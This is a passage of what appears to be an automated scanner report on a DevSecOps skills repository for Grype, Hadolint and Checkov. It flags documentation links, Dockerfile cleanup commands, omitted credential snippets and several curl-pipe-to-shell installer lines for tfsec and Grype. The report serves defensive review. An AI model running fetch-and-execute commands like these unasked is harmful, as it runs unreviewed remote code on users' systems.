    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash

skills/devsecops/container-grype/assets/grype-ci-config.yml

  • Network accessline 203
    name: Install Grype           command: |             curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b /usr/local/bin
  • Network accessline 203
    name: Install Grype           command: |             curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b /usr/local/bin
  • Dangerous shell operationline 205
    curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b /usr/local/bin
  • Dangerous shell operationline 205
    curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b /usr/local/bin
  • Network accessline 205
    curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b /usr/local/bin
  • Network accessline 205
    curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b /usr/local/bin
  • Network accessline 267
    - script: |               # Install Grype               curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b /usr/local/bin
  • Network accessline 267
    - script: |               # Install Grype               curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b /usr/local/bin
  • Dangerous shell operationline 269
    curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b /usr/local/bin
  • Dangerous shell operationline 269
    curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b /usr/local/bin
  • Network accessline 269
    curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b /usr/local/bin
  • Network accessline 269
    curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b /usr/local/bin

skills/devsecops/container-grype/assets/grype-config.yaml

  • Network accessline 3
    # Place this file in your project root or specify with: grype <target> -c .grype.yaml # # Documentation: https://github.com/anchore/grype#configuration
  • Network accessline 3
    # Place this file in your project root or specify with: grype <target> -c .grype.yaml # # Documentation: https://github.com/anchore/grype#configuration
  • Network accessline 5
    # Documentation: https://github.com/anchore/grype#configuration
  • Network accessline 5
    # Documentation: https://github.com/anchore/grype#configuration

skills/devsecops/container-grype/assets/rule-template.yaml

  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html

skills/devsecops/container-grype/references/EXAMPLE.md

  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]

skills/devsecops/container-grype/references/cisa_kev.md

  • Network accessline 173
    Access the catalog: - **Web**: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  • Network accessline 173
    Access the catalog: - **Web**: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  • Network accessline 174
    - **Web**: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  • Network accessline 174
    - **Web**: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  • Network accessline 175
    - **JSON**: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
  • Network accessline 175
    - **JSON**: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
  • Network accessline 176
    - **CSV**: https://www.cisa.gov/sites/default/files/csv/known_exploited_vulnerabilities.csv
  • Network accessline 176
    - **CSV**: https://www.cisa.gov/sites/default/files/csv/known_exploited_vulnerabilities.csv
  • Network accessline 183
    # Download current KEV catalog curl -s https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json \
  • Network accessline 183
    # Download current KEV catalog curl -s https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json \
  • Network accessline 184
    curl -s https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json \
  • Network accessline 184
    curl -s https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json \
  • Network accessline 191
    **Subscribe to updates**: - CISA cybersecurity alerts: https://www.cisa.gov/cybersecurity-alerts
  • Network accessline 191
    **Subscribe to updates**: - CISA cybersecurity alerts: https://www.cisa.gov/cybersecurity-alerts
  • Network accessline 192
    - CISA cybersecurity alerts: https://www.cisa.gov/cybersecurity-alerts
  • Network accessline 192
    - CISA cybersecurity alerts: https://www.cisa.gov/cybersecurity-alerts
  • Network accessline 222
    - [CISA KEV Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
  • Network accessline 222
    - [CISA KEV Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
  • Network accessline 223
    - [BOD 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities](https://www.cisa.gov/news-events/directives/bod-22-01-reducing-significant-risk-known-exploited-vulnerabilities)
  • Network accessline 223
    - [BOD 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities](https://www.cisa.gov/news-events/directives/bod-22-01-reducing-significant-risk-known-exploited-vulnerabilities)
  • Network accessline 224
    - [KEV Catalog JSON Feed](https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json)
  • Network accessline 224
    - [KEV Catalog JSON Feed](https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json)
  • Network accessline 225
    - [CISA Cybersecurity Alerts](https://www.cisa.gov/cybersecurity-alerts)
  • Network accessline 225
    - [CISA Cybersecurity Alerts](https://www.cisa.gov/cybersecurity-alerts)

skills/devsecops/container-grype/references/cvss_guide.md

  • Network accessline 208
    - [CVSS v3.1 Specification](https://www.first.org/cvss/specification-document)
  • Network accessline 208
    - [CVSS v3.1 Specification](https://www.first.org/cvss/specification-document)
  • Network accessline 209
    - [CVSS Calculator](https://www.first.org/cvss/calculator/3.1)
  • Network accessline 209
    - [CVSS Calculator](https://www.first.org/cvss/calculator/3.1)
  • Network accessline 210
    - [NVD CVSS Severity Distribution](https://nvd.nist.gov/vuln/severity-distribution)
  • Network accessline 210
    - [NVD CVSS Severity Distribution](https://nvd.nist.gov/vuln/severity-distribution)

skills/devsecops/container-grype/references/vulnerability_remediation.md

  • Network accessline 348
    modsecurity on;     modsecurity_rules_file /etc/nginx/modsec/main.conf;     proxy_pass http://vulnerable-backend;
  • Network accessline 348
    modsecurity on;     modsecurity_rules_file /etc/nginx/modsec/main.conf;     proxy_pass http://vulnerable-backend;
  • Network accessline 349
    modsecurity_rules_file /etc/nginx/modsec/main.conf;     proxy_pass http://vulnerable-backend; }
  • Network accessline 349
    modsecurity_rules_file /etc/nginx/modsec/main.conf;     proxy_pass http://vulnerable-backend; }
  • Network accessline 350
    proxy_pass http://vulnerable-backend;
  • Network accessline 350
    proxy_pass http://vulnerable-backend;
  • Network accessline 507
    - [npm Security Best Practices](https://docs.npmjs.com/security-best-practices)
  • Network accessline 507
    - [npm Security Best Practices](https://docs.npmjs.com/security-best-practices)
  • Network accessline 508
    - [Python Packaging Security](https://packaging.python.org/en/latest/guides/security/)
  • Network accessline 508
    - [Python Packaging Security](https://packaging.python.org/en/latest/guides/security/)
  • Network accessline 509
    - [Go Modules Security](https://go.dev/blog/vuln)
  • Network accessline 509
    - [Go Modules Security](https://go.dev/blog/vuln)
  • Network accessline 510
    - [OWASP Dependency Check](https://owasp.org/www-project-dependency-check/)
  • Network accessline 510
    - [OWASP Dependency Check](https://owasp.org/www-project-dependency-check/)

skills/devsecops/container-hadolint/SKILL.md

  • Network accessline 17
    tools: [hadolint, docker] references:   - https://github.com/hadolint/hadolint
  • Network accessline 17
    tools: [hadolint, docker] references:   - https://github.com/hadolint/hadolint
  • Network accessline 18
    references:   - https://github.com/hadolint/hadolint   - https://www.cisecurity.org/benchmark/docker
  • Network accessline 18
    references:   - https://github.com/hadolint/hadolint   - https://www.cisecurity.org/benchmark/docker
  • Network accessline 19
    - https://github.com/hadolint/hadolint
  • Network accessline 19
    - https://github.com/hadolint/hadolint
  • Network accessline 20
    - https://www.cisecurity.org/benchmark/docker
  • Network accessline 20
    - https://www.cisecurity.org/benchmark/docker
  • Network accessline 21
    - https://docs.docker.com/develop/develop-images/dockerfile_best-practices/
  • Network accessline 21
    - https://docs.docker.com/develop/develop-images/dockerfile_best-practices/
  • Network accessline 40
    # Linux via binary wget -O /usr/local/bin/hadolint https://github.com/hadolint/hadolint/releases/latest/download/hadolint-Linux-x86_64
  • Network accessline 40
    # Linux via binary wget -O /usr/local/bin/hadolint https://github.com/hadolint/hadolint/releases/latest/download/hadolint-Linux-x86_64
  • Network accessline 41
    wget -O /usr/local/bin/hadolint https://github.com/hadolint/hadolint/releases/latest/download/hadolint-Linux-x86_64
  • Network accessline 41
    wget -O /usr/local/bin/hadolint https://github.com/hadolint/hadolint/releases/latest/download/hadolint-Linux-x86_64
  • Dangerous shell operationline 367
    RUN apk add --no-cache      dumb-init=1.2.5-r2      && rm -rf /var/cache/apk/*
  • Dangerous shell operationline 367
    RUN apk add --no-cache      dumb-init=1.2.5-r2      && rm -rf /var/cache/apk/*
  • Dangerous shell operationline 369
    && rm -rf /var/cache/apk/*
  • Dangerous shell operationline 369
    && rm -rf /var/cache/apk/*
  • Network accessline 594
    - [Hadolint GitHub Repository](https://github.com/hadolint/hadolint)
  • Network accessline 594
    - [Hadolint GitHub Repository](https://github.com/hadolint/hadolint)
  • Network accessline 595
    - [CIS Docker Benchmark](https://www.cisecurity.org/benchmark/docker)
  • Network accessline 595
    - [CIS Docker Benchmark](https://www.cisecurity.org/benchmark/docker)
  • Network accessline 596
    - [Docker Best Practices](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/)
  • Network accessline 596
    - [Docker Best Practices](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/)
  • Network accessline 597
    - [ShellCheck Documentation](https://www.shellcheck.net/)
  • Network accessline 597
    - [ShellCheck Documentation](https://www.shellcheck.net/)
  • Network accessline 598
    - [OCI Image Specification](https://github.com/opencontainers/image-spec)
  • Network accessline 598
    - [OCI Image Specification](https://github.com/opencontainers/image-spec)

skills/devsecops/container-hadolint/assets/github-actions.yml

  • Network accessline 73
    run: |           # Install hadolint           wget -O /usr/local/bin/hadolint https://github.com/hadolint/hadolint/releases/latest/download/hadolint-Linux-x86_64
  • Network accessline 73
    run: |           # Install hadolint           wget -O /usr/local/bin/hadolint https://github.com/hadolint/hadolint/releases/latest/download/hadolint-Linux-x86_64
  • Network accessline 74
    # Install hadolint           wget -O /usr/local/bin/hadolint https://github.com/hadolint/hadolint/releases/latest/download/hadolint-Linux-x86_64           chmod +x /usr/local/bin/hadolint
  • Network accessline 74
    # Install hadolint           wget -O /usr/local/bin/hadolint https://github.com/hadolint/hadolint/releases/latest/download/hadolint-Linux-x86_64           chmod +x /usr/local/bin/hadolint
  • Network accessline 75
    wget -O /usr/local/bin/hadolint https://github.com/hadolint/hadolint/releases/latest/download/hadolint-Linux-x86_64
  • Network accessline 75
    wget -O /usr/local/bin/hadolint https://github.com/hadolint/hadolint/releases/latest/download/hadolint-Linux-x86_64

skills/devsecops/container-hadolint/references/security_rules.md

  • Dangerous shell operationline 148
    RUN apt-get update &&      apt-get install -y --no-install-recommends      curl=7.68.0-1ubuntu2.14 &&      rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 148
    RUN apt-get update &&      apt-get install -y --no-install-recommends      curl=7.68.0-1ubuntu2.14 &&      rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 151
    rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 151
    rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 170
    RUN apt-get update &&      apt-get install -y curl &&      rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 170
    RUN apt-get update &&      apt-get install -y curl &&      rm -rf /var/lib/apt/lists/*
  • Network accessline 170
    RUN apt-get update && \     apt-get install -y curl && \
  • Network accessline 170
    RUN apt-get update && \     apt-get install -y curl && \
  • Network accessline 171
    apt-get install -y curl && \
  • Network accessline 171
    apt-get install -y curl && \
  • Dangerous shell operationline 172
    rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 172
    rm -rf /var/lib/apt/lists/*
  • Network accessline 205
    ADD app.tar.gz /app/ ADD https://example.com/file.txt /tmp/
  • Network accessline 205
    ADD app.tar.gz /app/ ADD https://example.com/file.txt /tmp/
  • Network accessline 206
    ADD https://example.com/file.txt /tmp/
  • Network accessline 206
    ADD https://example.com/file.txt /tmp/
  • Network accessline 211
    COPY app.tar.gz /app/ # For URLs, use RUN wget/curl instead
  • Network accessline 211
    COPY app.tar.gz /app/ # For URLs, use RUN wget/curl instead
  • Network accessline 212
    # For URLs, use RUN wget/curl instead
  • Network accessline 212
    # For URLs, use RUN wget/curl instead
  • Network accessline 213
    RUN curl -O https://example.com/file.txt
  • Network accessline 213
    RUN curl -O https://example.com/file.txt
  • Network accessline 250
    [Credential-related source omitted]
  • Network accessline 250
    [Credential-related source omitted]
  • Access to secretsline 250
    [Credential-related source omitted]
  • Access to secretsline 250
    [Credential-related source omitted]
  • Network accessline 251
    [Credential-related source omitted]
  • Network accessline 251
    [Credential-related source omitted]
  • Access to secretsline 251
    [Credential-related source omitted]
  • Access to secretsline 251
    [Credential-related source omitted]
  • Network accessline 256
    [Credential-related source omitted]
  • Network accessline 256
    [Credential-related source omitted]
  • Network accessline 257
    [Credential-related source omitted]
  • Network accessline 257
    [Credential-related source omitted]
  • Access to secretsline 257
    [Credential-related source omitted]
  • Access to secretsline 257
    [Credential-related source omitted]
  • Network accessline 258
    [Credential-related source omitted]
  • Network accessline 258
    [Credential-related source omitted]
  • Access to secretsline 258
    [Credential-related source omitted]
  • Access to secretsline 258
    [Credential-related source omitted]
  • Network accessline 272
    RUN apt-get update RUN apt-get install -y curl RUN curl -O https://example.com/file
  • Network accessline 272
    RUN apt-get update RUN apt-get install -y curl RUN curl -O https://example.com/file
  • Network accessline 274
    RUN curl -O https://example.com/file
  • Network accessline 274
    RUN curl -O https://example.com/file
  • Dangerous shell operationline 279
    RUN apt-get update &&      apt-get install -y curl &&      curl -O https://example.com/file &&      rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 279
    RUN apt-get update &&      apt-get install -y curl &&      curl -O https://example.com/file &&      rm -rf /var/lib/apt/lists/*
  • Network accessline 279
    RUN apt-get update && \     apt-get install -y curl && \
  • Network accessline 279
    RUN apt-get update && \     apt-get install -y curl && \
  • Network accessline 280
    apt-get install -y curl && \
  • Network accessline 280
    apt-get install -y curl && \
  • Network accessline 281
    curl -O https://example.com/file && \
  • Network accessline 281
    curl -O https://example.com/file && \
  • Dangerous shell operationline 282
    rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 282
    rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 315
    RUN apt-get update &&      apt-get install -y --no-install-recommends      package1=version1      package2=version2 &&      rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 315
    RUN apt-get update &&      apt-get install -y --no-install-recommends      package1=version1      package2=version2 &&      rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 319
    rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 319
    rm -rf /var/lib/apt/lists/*
  • Network accessline 332
    HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \   CMD curl -f http://localhost:8080/health || exit 1
  • Network accessline 332
    HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \   CMD curl -f http://localhost:8080/health || exit 1
  • Network accessline 333
    CMD curl -f http://localhost:8080/health || exit 1
  • Network accessline 333
    CMD curl -f http://localhost:8080/health || exit 1
  • Dangerous shell operationline 351
    RUN apt-get update &&      apt-get install -y package &&      rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 351
    RUN apt-get update &&      apt-get install -y package &&      rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 353
    rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 353
    rm -rf /var/lib/apt/lists/*
  • Network accessline 436
    - [Hadolint Rules Wiki](https://github.com/hadolint/hadolint/wiki)
  • Network accessline 436
    - [Hadolint Rules Wiki](https://github.com/hadolint/hadolint/wiki)
  • Network accessline 437
    - [CIS Docker Benchmark v1.6](https://www.cisecurity.org/benchmark/docker)
  • Network accessline 437
    - [CIS Docker Benchmark v1.6](https://www.cisecurity.org/benchmark/docker)
  • Network accessline 438
    - [Docker Security Best Practices](https://docs.docker.com/develop/security-best-practices/)
  • Network accessline 438
    - [Docker Security Best Practices](https://docs.docker.com/develop/security-best-practices/)
  • Network accessline 439
    - [NIST SP 800-190](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-190.pdf)
  • Network accessline 439
    - [NIST SP 800-190](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-190.pdf)

skills/devsecops/iac-checkov/SKILL.md

  • Network accessline 17
    packages: [checkov] references:   - https://www.checkov.io/
  • Network accessline 17
    packages: [checkov] references:   - https://www.checkov.io/
  • Network accessline 18
    references:   - https://www.checkov.io/   - https://github.com/bridgecrewio/checkov
  • Network accessline 18
    references:   - https://www.checkov.io/   - https://github.com/bridgecrewio/checkov
  • Network accessline 19
    - https://www.checkov.io/
  • Network accessline 19
    - https://www.checkov.io/
  • Network accessline 20
    - https://github.com/bridgecrewio/checkov
  • Network accessline 20
    - https://github.com/bridgecrewio/checkov
  • Network accessline 21
    - https://docs.paloaltonetworks.com/prisma/prisma-cloud
  • Network accessline 21
    - https://docs.paloaltonetworks.com/prisma/prisma-cloud
  • Network accessline 283
    # .pre-commit-config.yaml repos:   - repo: https://github.com/bridgecrewio/checkov
  • Network accessline 283
    # .pre-commit-config.yaml repos:   - repo: https://github.com/bridgecrewio/checkov
  • Network accessline 284
    repos:   - repo: https://github.com/bridgecrewio/checkov     rev: 2.5.0
  • Network accessline 284
    repos:   - repo: https://github.com/bridgecrewio/checkov     rev: 2.5.0
  • Network accessline 285
    - repo: https://github.com/bridgecrewio/checkov
  • Network accessline 285
    - repo: https://github.com/bridgecrewio/checkov
  • Network accessline 666
    - [Checkov Documentation](https://www.checkov.io/)
  • Network accessline 666
    - [Checkov Documentation](https://www.checkov.io/)
  • Network accessline 667
    - [Checkov GitHub Repository](https://github.com/bridgecrewio/checkov)
  • Network accessline 667
    - [Checkov GitHub Repository](https://github.com/bridgecrewio/checkov)
  • Network accessline 668
    - [CIS Benchmarks](https://www.cisecurity.org/cis-benchmarks/)
  • Network accessline 668
    - [CIS Benchmarks](https://www.cisecurity.org/cis-benchmarks/)
  • Network accessline 669
    - [Terraform Security Best Practices](https://www.terraform.io/docs/cloud/guides/recommended-practices/index.html)
  • Network accessline 669
    - [Terraform Security Best Practices](https://www.terraform.io/docs/cloud/guides/recommended-practices/index.html)
  • Network accessline 670
    - [Kubernetes Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/)
  • Network accessline 670
    - [Kubernetes Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/)
  • Network accessline 671
    - [AWS Security Best Practices](https://aws.amazon.com/security/security-resources/)
  • Network accessline 671
    - [AWS Security Best Practices](https://aws.amazon.com/security/security-resources/)

skills/devsecops/iac-checkov/assets/checkov_config.yaml

  • Network accessline 73
    [Credential-related source omitted]
  • Network accessline 73
    [Credential-related source omitted]
  • Access to secretsline 74
    [Credential-related source omitted]
  • Access to secretsline 74
    [Credential-related source omitted]
  • Network accessline 75
    # prisma-api-url: https://api.prismacloud.io
  • Network accessline 75
    # prisma-api-url: https://api.prismacloud.io

skills/devsecops/iac-checkov/assets/gitlab_ci.yml

  • Network accessline 176
    before_script:     - apk add --no-cache jq curl   script:
  • Network accessline 176
    before_script:     - apk add --no-cache jq curl   script:
  • Network accessline 177
    - apk add --no-cache jq curl   script:     - |
  • Network accessline 177
    - apk add --no-cache jq curl   script:     - |

skills/devsecops/iac-checkov/assets/pre_commit_config.yaml

  • Network accessline 7
    repos:   # Checkov IaC Security Scanning   - repo: https://github.com/bridgecrewio/checkov
  • Network accessline 7
    repos:   # Checkov IaC Security Scanning   - repo: https://github.com/bridgecrewio/checkov
  • Network accessline 8
    # Checkov IaC Security Scanning   - repo: https://github.com/bridgecrewio/checkov     rev: 2.5.0
  • Network accessline 8
    # Checkov IaC Security Scanning   - repo: https://github.com/bridgecrewio/checkov     rev: 2.5.0
  • Network accessline 9
    - repo: https://github.com/bridgecrewio/checkov
  • Network accessline 9
    - repo: https://github.com/bridgecrewio/checkov
  • Network accessline 29
    # Strict mode (fail on Critical/High) - optional   - repo: https://github.com/bridgecrewio/checkov
  • Network accessline 29
    # Strict mode (fail on Critical/High) - optional   - repo: https://github.com/bridgecrewio/checkov
  • Network accessline 30
    - repo: https://github.com/bridgecrewio/checkov
  • Network accessline 30
    - repo: https://github.com/bridgecrewio/checkov
  • Network accessline 49
    # Terraform-specific scanning with external modules   - repo: https://github.com/bridgecrewio/checkov
  • Network accessline 49
    # Terraform-specific scanning with external modules   - repo: https://github.com/bridgecrewio/checkov
  • Network accessline 50
    - repo: https://github.com/bridgecrewio/checkov
  • Network accessline 50
    - repo: https://github.com/bridgecrewio/checkov
  • Network accessline 62
    # Additional code quality hooks   - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 62
    # Additional code quality hooks   - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 63
    - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 63
    - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 75
    # Terraform formatting   - repo: https://github.com/antonbabenko/pre-commit-terraform
  • Network accessline 75
    # Terraform formatting   - repo: https://github.com/antonbabenko/pre-commit-terraform
  • Network accessline 76
    - repo: https://github.com/antonbabenko/pre-commit-terraform
  • Network accessline 76
    - repo: https://github.com/antonbabenko/pre-commit-terraform
  • Network accessline 86
    # YAML linting   - repo: https://github.com/adrienverge/yamllint
  • Network accessline 86
    # YAML linting   - repo: https://github.com/adrienverge/yamllint
  • Network accessline 87
    - repo: https://github.com/adrienverge/yamllint
  • Network accessline 87
    - repo: https://github.com/adrienverge/yamllint

skills/devsecops/iac-checkov/references/compliance_mapping.md

  • Network accessline 232
    - [CIS Benchmarks](https://www.cisecurity.org/cis-benchmarks/)
  • Network accessline 232
    - [CIS Benchmarks](https://www.cisecurity.org/cis-benchmarks/)
  • Network accessline 233
    - [PCI Security Standards](https://www.pcisecuritystandards.org/)
  • Network accessline 233
    - [PCI Security Standards](https://www.pcisecuritystandards.org/)
  • Network accessline 234
    - [HIPAA Security Rule](https://www.hhs.gov/hipaa/for-professionals/security/index.html)
  • Network accessline 234
    - [HIPAA Security Rule](https://www.hhs.gov/hipaa/for-professionals/security/index.html)
  • Network accessline 235
    - [AICPA SOC 2](https://www.aicpa.org/soc4so)
  • Network accessline 235
    - [AICPA SOC 2](https://www.aicpa.org/soc4so)
  • Network accessline 236
    - [NIST 800-53](https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final)
  • Network accessline 236
    - [NIST 800-53](https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final)
  • Network accessline 237
    - [GDPR Portal](https://gdpr.eu/)
  • Network accessline 237
    - [GDPR Portal](https://gdpr.eu/)

skills/devsecops/iac-checkov/references/custom_policies.md

  • Network accessline 208
    supported_resources = ['resource_type']  # e.g., ['aws_s3_bucket']         categories = [CheckCategories.CATEGORY]  # See categories below         guideline = "https://docs.example.com/security-policy"
  • Network accessline 208
    supported_resources = ['resource_type']  # e.g., ['aws_s3_bucket']         categories = [CheckCategories.CATEGORY]  # See categories below         guideline = "https://docs.example.com/security-policy"
  • Network accessline 210
    guideline = "https://docs.example.com/security-policy"
  • Network accessline 210
    guideline = "https://docs.example.com/security-policy"
  • Network accessline 286
    # Load specific policy checkov -d ./terraform --external-checks-git https://github.com/org/policies.git
  • Network accessline 286
    # Load specific policy checkov -d ./terraform --external-checks-git https://github.com/org/policies.git
  • Network accessline 287
    checkov -d ./terraform --external-checks-git https://github.com/org/policies.git
  • Network accessline 287
    checkov -d ./terraform --external-checks-git https://github.com/org/policies.git
  • Network accessline 458
    - [Checkov Custom Policies Documentation](https://www.checkov.io/3.Custom%20Policies/Custom%20Policies%20Overview.html)
  • Network accessline 458
    - [Checkov Custom Policies Documentation](https://www.checkov.io/3.Custom%20Policies/Custom%20Policies%20Overview.html)
  • Network accessline 459
    - [Python Policy Examples](https://github.com/bridgecrewio/checkov/tree/master/checkov/terraform/checks)
  • Network accessline 459
    - [Python Policy Examples](https://github.com/bridgecrewio/checkov/tree/master/checkov/terraform/checks)
  • Network accessline 460
    - [YAML Policy Examples](https://github.com/bridgecrewio/checkov/tree/master/checkov/terraform/checks/graph_checks)
  • Network accessline 460
    - [YAML Policy Examples](https://github.com/bridgecrewio/checkov/tree/master/checkov/terraform/checks/graph_checks)

skills/devsecops/iac-checkov/references/suppression_guide.md

  • Network accessline 430
